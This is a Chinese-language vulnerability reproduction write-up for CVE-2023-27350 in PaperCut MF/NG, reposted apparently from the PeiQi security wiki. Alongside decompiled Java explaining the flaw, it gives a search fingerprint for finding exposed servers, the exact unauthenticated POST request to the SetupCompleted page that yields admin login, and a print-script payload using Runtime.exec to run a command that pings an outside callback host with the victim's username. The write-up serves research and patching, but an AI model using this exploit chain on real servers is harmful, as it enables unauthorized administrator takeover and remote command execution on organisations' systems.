长亭百川云 - 文章详情

PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350

PeiQi文库

39

2024-07-13

漏洞描述

PaperCut MF NG 中 SetupCompleted接口中存在未授权访问漏洞,攻击者通过漏洞可以获取后台管理员权限,通过配置脚本JAVA扩展类,可以达到远程命令执行控制服务器

漏洞影响

PaperCut MF PaperCut NG

网络测绘

"papercut"

漏洞复现

登陆页面

反编译 pcng-server-web-22.0.4.jar,可以看到登陆时验证方法位于

biz/papercut/pcng/web/pages/Home.class

其中含有 Google microsoft 等多种方法登陆,统一使用 performLogin 方法进行用户权限验证

public Boolean performLogin(String username, @Nullable LoginType preferredLoginType, boolean sso) {         return (Boolean)this.transactionHelper.runInTransaction(() -> {             LoginType loginType = this.deriveLoginType(username, preferredLoginType);             if (loginType != null) {                 AccessRightList accessRights = this.authenticationManager.getUserRights(username);                 accessRights = this.deriveAccessRights(loginType, accessRights);                 return this.loginUser(username, accessRights, loginType, sso);             } else {                 this.applicationLogManager.logWarn(this.getClass(), "Home.UserLoginFailureUnknownUser", new String[]{username});                 this.setErrorMessage(this.getMessage("LOGIN_DENIED_UNKNOWN_USER"));                 return false;             }         });     }

最后走到 loginUser方法中,根据用户登陆权限重定向到用户页面

漏洞出现在用户设备配置页面处,其中可以看到调用的方法也是 performLogin

public void formSubmit(IRequestCycle cycle) {         SetupData setupData = this.getSetupData();         this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());         this.getAnalyticsConfigurationService().adminNotified();         this.clearSetupData();         Home homePage = (Home)cycle.getPage("Home");         homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());         homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);     }

biz/papercut/pcng/web/setup/SetupCompleted.class

主要注意这一部分代码的参数, 代表登陆的权限

homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false); private String _adminUserName = "admin"; public String getAdminUserName() {         return this._adminUserName;     }

这里固定的登陆权限为 Admin管理员权限,通过调用这个方法就可以获取管理员的后台权限

/app?service=page/SetupCompleted

POST /app Cookie: JSESSIONID=xxx service=direct/1/SetupCompleted/$Form&sp=S0&Form0=$Hidden,analyticsEnabled,$Submit&$Hidden=true&$Submit=登录

发送请求后就会302跳转到管理员用户页面,对应的请求调用页面也就是第一次配置的请求页面,点击登陆提交请求就可以通过调用方法 performLogin 以管理员权限登陆

在后台中存在脚本调用方法,根据官网配置打开扩展的 Java 类

https://www.papercut.com/kb/Main/EnablingPrintScriptingDeviceScripting#using-extended-java-classes-in-scripts

再通过打印机的脚本编写就可以达到组合RCE

function printJobHook(inputs, actions) {} java.lang.Runtime.getRuntime().exec('cmd.exe /C ping %USERNAME%.cgvpkz72vtc0000ge0eggep5j9oyyyyyb.oast.fun');

关注公众号

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号 想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用) Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2